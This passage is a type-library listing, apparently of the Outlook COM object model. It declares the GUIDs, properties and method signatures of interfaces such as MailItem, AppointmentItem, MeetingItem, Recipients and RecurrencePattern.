function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^UserProperty;

function Add(Name:BSTR; Type:OlUserPropertyType; [AddToFolderFields:variant; DisplayFormat:variant]): ^UserProperty;

function Find(Name:BSTR; [Custom:variant]): ^UserProperty;

function Remove(Index:I4);

Dispatch UserProperty;

GUID={00063042-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Formula: BSTR;

property-put Formula(BSTR);

property-get Name: BSTR;

property-get Type: OlUserPropertyType;

property-get ValidationFormula: BSTR;

property-put ValidationFormula(BSTR);

property-get ValidationText: BSTR;

property-put ValidationText(BSTR);

property-get Value: variant;

property-put Value(variant);

function Delete;

Dispatch Recipients;

GUID={0006303B-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Recipient;

function Add(Name:BSTR): ^Recipient;

function Remove(Index:I4);

function ResolveAll: bool;

Class MailItem;

GUID={00061033-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get AlternateRecipientAllowed: bool;

property-put AlternateRecipientAllowed(bool);

property-get AutoForwarded: bool;

property-put AutoForwarded(bool);

property-get BCC: BSTR;

property-put BCC(BSTR);

property-get CC: BSTR;

property-put CC(BSTR);

property-get DeferredDeliveryTime: date;

property-put DeferredDeliveryTime(date);

property-get DeleteAfterSubmit: bool;

property-put DeleteAfterSubmit(bool);

property-get ExpiryTime: date;

property-put ExpiryTime(date);

property-get FlagDueBy: date;

property-put FlagDueBy(date);

property-get FlagRequest: BSTR;

property-put FlagRequest(BSTR);

property-get FlagStatus: OlFlagStatus;

property-put FlagStatus(OlFlagStatus);

property-get HTMLBody: BSTR;

property-put HTMLBody(BSTR);

property-get OriginatorDeliveryReportRequested: bool;

property-put OriginatorDeliveryReportRequested(bool);

property-get ReadReceiptRequested: bool;

property-put ReadReceiptRequested(bool);

property-get ReceivedByEntryID: BSTR;

property-get ReceivedByName: BSTR;

property-get ReceivedOnBehalfOfEntryID: BSTR;

property-get ReceivedOnBehalfOfName: BSTR;

property-get ReceivedTime: date;

property-get RecipientReassignmentProhibited: bool;

property-put RecipientReassignmentProhibited(bool);

property-get Recipients: ^Recipients;

property-get ReminderOverrideDefault: bool;

property-put ReminderOverrideDefault(bool);

property-get ReminderPlaySound: bool;

property-put ReminderPlaySound(bool);

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderSoundFile: BSTR;

property-put ReminderSoundFile(BSTR);

property-get ReminderTime: date;

property-put ReminderTime(date);

property-get RemoteStatus: OlRemoteStatus;

property-put RemoteStatus(OlRemoteStatus);

property-get ReplyRecipientNames: BSTR;

property-get ReplyRecipients: ^Recipients;

property-get SaveSentMessageFolder: ^MAPIFolder;

property-putref SaveSentMessageFolder(^MAPIFolder);

property-get SenderName: BSTR;

property-get Sent: bool;

property-get SentOn: date;

property-get SentOnBehalfOfName: BSTR;

property-put SentOnBehalfOfName(BSTR);

property-get Submitted: bool;

property-get To: BSTR;

property-put To(BSTR);

property-get VotingOptions: BSTR;

property-put VotingOptions(BSTR);

property-get VotingResponse: BSTR;

property-put VotingResponse(BSTR);

function ClearConversationIndex;

function Forward: ^MailItem;

function Reply: ^MailItem;

function ReplyAll: ^MailItem;

function Send;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Dispatch _MailItem;

GUID={00063034-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get AlternateRecipientAllowed: bool;

property-put AlternateRecipientAllowed(bool);

property-get AutoForwarded: bool;

property-put AutoForwarded(bool);

property-get BCC: BSTR;

property-put BCC(BSTR);

property-get CC: BSTR;

property-put CC(BSTR);

property-get DeferredDeliveryTime: date;

property-put DeferredDeliveryTime(date);

property-get DeleteAfterSubmit: bool;

property-put DeleteAfterSubmit(bool);

property-get ExpiryTime: date;

property-put ExpiryTime(date);

property-get FlagDueBy: date;

property-put FlagDueBy(date);

property-get FlagRequest: BSTR;

property-put FlagRequest(BSTR);

property-get FlagStatus: OlFlagStatus;

property-put FlagStatus(OlFlagStatus);

property-get HTMLBody: BSTR;

property-put HTMLBody(BSTR);

property-get OriginatorDeliveryReportRequested: bool;

property-put OriginatorDeliveryReportRequested(bool);

property-get ReadReceiptRequested: bool;

property-put ReadReceiptRequested(bool);

property-get ReceivedByEntryID: BSTR;

property-get ReceivedByName: BSTR;

property-get ReceivedOnBehalfOfEntryID: BSTR;

property-get ReceivedOnBehalfOfName: BSTR;

property-get ReceivedTime: date;

property-get RecipientReassignmentProhibited: bool;

property-put RecipientReassignmentProhibited(bool);

property-get Recipients: ^Recipients;

property-get ReminderOverrideDefault: bool;

property-put ReminderOverrideDefault(bool);

property-get ReminderPlaySound: bool;

property-put ReminderPlaySound(bool);

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderSoundFile: BSTR;

property-put ReminderSoundFile(BSTR);

property-get ReminderTime: date;

property-put ReminderTime(date);

property-get RemoteStatus: OlRemoteStatus;

property-put RemoteStatus(OlRemoteStatus);

property-get ReplyRecipientNames: BSTR;

property-get ReplyRecipients: ^Recipients;

property-get SaveSentMessageFolder: ^MAPIFolder;

property-putref SaveSentMessageFolder(^MAPIFolder);

property-get SenderName: BSTR;

property-get Sent: bool;

property-get SentOn: date;

property-get SentOnBehalfOfName: BSTR;

property-put SentOnBehalfOfName(BSTR);

property-get Submitted: bool;

property-get To: BSTR;

property-put To(BSTR);

property-get VotingOptions: BSTR;

property-put VotingOptions(BSTR);

property-get VotingResponse: BSTR;

property-put VotingResponse(BSTR);

function ClearConversationIndex;

function Forward: ^MailItem;

function Reply: ^MailItem;

function ReplyAll: ^MailItem;

function Send;

property-get Links: ^Links;

Dispatch Links;

GUID={0006308A-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Link;

function Add(Item:IDispatch): ^Link;

function Remove(Index:variant);

Dispatch Link;

GUID={00063089-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Name: BSTR;

property-get Type: OlObjectClass;

property-get Item: IDispatch;

Dispatch ItemEvents;

GUID={0006303A-0000-0000-C000-000000000046};

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Dispatch RecurrencePattern;

GUID={00063044-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get DayOfMonth: I4;

property-put DayOfMonth(I4);

property-get DayOfWeekMask: OlDaysOfWeek;

property-put DayOfWeekMask(OlDaysOfWeek);

property-get Duration: I4;

property-put Duration(I4);

property-get EndTime: date;

property-put EndTime(date);

property-get Exceptions: ^Exceptions;

property-get Instance: I4;

property-put Instance(I4);

property-get Interval: I4;

property-put Interval(I4);

property-get MonthOfYear: I4;

property-put MonthOfYear(I4);

property-get NoEndDate: bool;

property-put NoEndDate(bool);

property-get Occurrences: I4;

property-put Occurrences(I4);

property-get PatternEndDate: date;

property-put PatternEndDate(date);

property-get PatternStartDate: date;

property-put PatternStartDate(date);

property-get RecurrenceType: OlRecurrenceType;

property-put RecurrenceType(OlRecurrenceType);

property-get Regenerate: bool;

property-put Regenerate(bool);

property-get StartTime: date;

property-put StartTime(date);

function GetOccurrence(StartDate:date): ^AppointmentItem;

Dispatch Exceptions;

GUID={0006304C-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Exception;

Dispatch Exception;

GUID={0006304D-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get AppointmentItem: ^AppointmentItem;

property-get Deleted: bool;

property-get OriginalDate: date;

Class AppointmentItem;

GUID={00061030-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get AllDayEvent: bool;

property-put AllDayEvent(bool);

property-get BusyStatus: OlBusyStatus;

property-put BusyStatus(OlBusyStatus);

property-get Duration: I4;

property-put Duration(I4);

property-get End: date;

property-put End(date);

property-get IsOnlineMeeting: bool;

property-put IsOnlineMeeting(bool);

property-get IsRecurring: bool;

property-get Location: BSTR;

property-put Location(BSTR);

property-get MeetingStatus: OlMeetingStatus;

property-put MeetingStatus(OlMeetingStatus);

property-get NetMeetingAutoStart: bool;

property-put NetMeetingAutoStart(bool);

property-get NetMeetingOrganizerAlias: BSTR;

property-put NetMeetingOrganizerAlias(BSTR);

property-get NetMeetingServer: BSTR;

property-put NetMeetingServer(BSTR);

property-get NetMeetingType: OlNetMeetingType;

property-put NetMeetingType(OlNetMeetingType);

property-get OptionalAttendees: BSTR;

property-put OptionalAttendees(BSTR);

property-get Organizer: BSTR;

property-get Recipients: ^Recipients;

property-get RecurrenceState: OlRecurrenceState;

property-get ReminderMinutesBeforeStart: I4;

property-put ReminderMinutesBeforeStart(I4);

property-get ReminderOverrideDefault: bool;

property-put ReminderOverrideDefault(bool);

property-get ReminderPlaySound: bool;

property-put ReminderPlaySound(bool);

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderSoundFile: BSTR;

property-put ReminderSoundFile(BSTR);

property-get ReplyTime: date;

property-put ReplyTime(date);

property-get RequiredAttendees: BSTR;

property-put RequiredAttendees(BSTR);

property-get Resources: BSTR;

property-put Resources(BSTR);

property-get ResponseRequested: bool;

property-put ResponseRequested(bool);

property-get ResponseStatus: OlResponseStatus;

property-get Start: date;

property-put Start(date);

function ClearRecurrencePattern;

function ForwardAsVcal: ^MailItem;

function GetRecurrencePattern: ^RecurrencePattern;

function Respond(Response:OlMeetingResponse; [fNoUI:variant; fAdditionalTextDialog:variant]): ^MeetingItem;

function Send;

property-get NetMeetingDocPathName: BSTR;

property-put NetMeetingDocPathName(BSTR);

property-get NetShowURL: BSTR;

property-put NetShowURL(BSTR);

property-get Links: ^Links;

property-get ConferenceServerAllowExternal: bool;

property-put ConferenceServerAllowExternal(bool);

property-get ConferenceServerPassword: BSTR;

property-put ConferenceServerPassword(BSTR);

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class MeetingItem;

GUID={00061036-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get AutoForwarded: bool;

property-put AutoForwarded(bool);

property-get DeferredDeliveryTime: date;

property-put DeferredDeliveryTime(date);

property-get DeleteAfterSubmit: bool;

property-put DeleteAfterSubmit(bool);

property-get ExpiryTime: date;

property-put ExpiryTime(date);

property-get FlagDueBy: date;

property-put FlagDueBy(date);

property-get FlagRequest: BSTR;

property-put FlagRequest(BSTR);

property-get FlagStatus: OlFlagStatus;

property-put FlagStatus(OlFlagStatus);

property-get OriginatorDeliveryReportRequested: bool;

property-put OriginatorDeliveryReportRequested(bool);

property-get ReceivedTime: date;

property-put ReceivedTime(date);

property-get Recipients: ^Recipients;

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderTime: date;

property-put ReminderTime(date);

property-get ReplyRecipients: ^Recipients;

property-get SaveSentMessageFolder: ^MAPIFolder;

property-putref SaveSentMessageFolder(^MAPIFolder);

property-get SenderName: BSTR;

property-get Sent: bool;

property-get SentOn: date;

property-get Submitted: bool;

function Forward: ^MeetingItem;

function GetAssociatedAppointment(AddToCalendar:bool): ^AppointmentItem;

function Reply: ^MailItem;

function ReplyAll: ^MailItem;

function Send;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Dispatch _MeetingItem;

GUID={00063062-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get AutoForwarded: bool;

property-put AutoForwarded(bool);

property-get DeferredDeliveryTime: date;

property-put DeferredDeliveryTime(date);

property-get DeleteAfterSubmit: bool;

property-put DeleteAfterSubmit(bool);

property-get ExpiryTime: date;

property-put ExpiryTime(date);

property-get FlagDueBy: date;

property-put FlagDueBy(date);

property-get FlagRequest: BSTR;

property-put FlagRequest(BSTR);

property-get FlagStatus: OlFlagStatus;

property-put FlagStatus(OlFlagStatus);

property-get OriginatorDeliveryReportRequested: bool;

property-put OriginatorDeliveryReportRequested(bool);

property-get ReceivedTime: date;

property-put ReceivedTime(date);

property-get Recipients: ^Recipients;

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderTime: date;

property-put ReminderTime(date);

property-get ReplyRecipients: ^Recipients;

property-get SaveSentMessageFolder: ^MAPIFolder;

property-putref SaveSentMessageFolder(^MAPIFolder);

property-get SenderName: BSTR;

property-get Sent: bool;

property-get SentOn: date;

property-get Submitted: bool;

function Forward: ^MeetingItem;

function GetAssociatedAppointment(AddToCalendar:bool): ^AppointmentItem;

function Reply: ^MailItem;

function ReplyAll: ^MailItem;

function Send;

property-get Links: ^Links;

Dispatch _ContactItem;

GUID={00063021-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

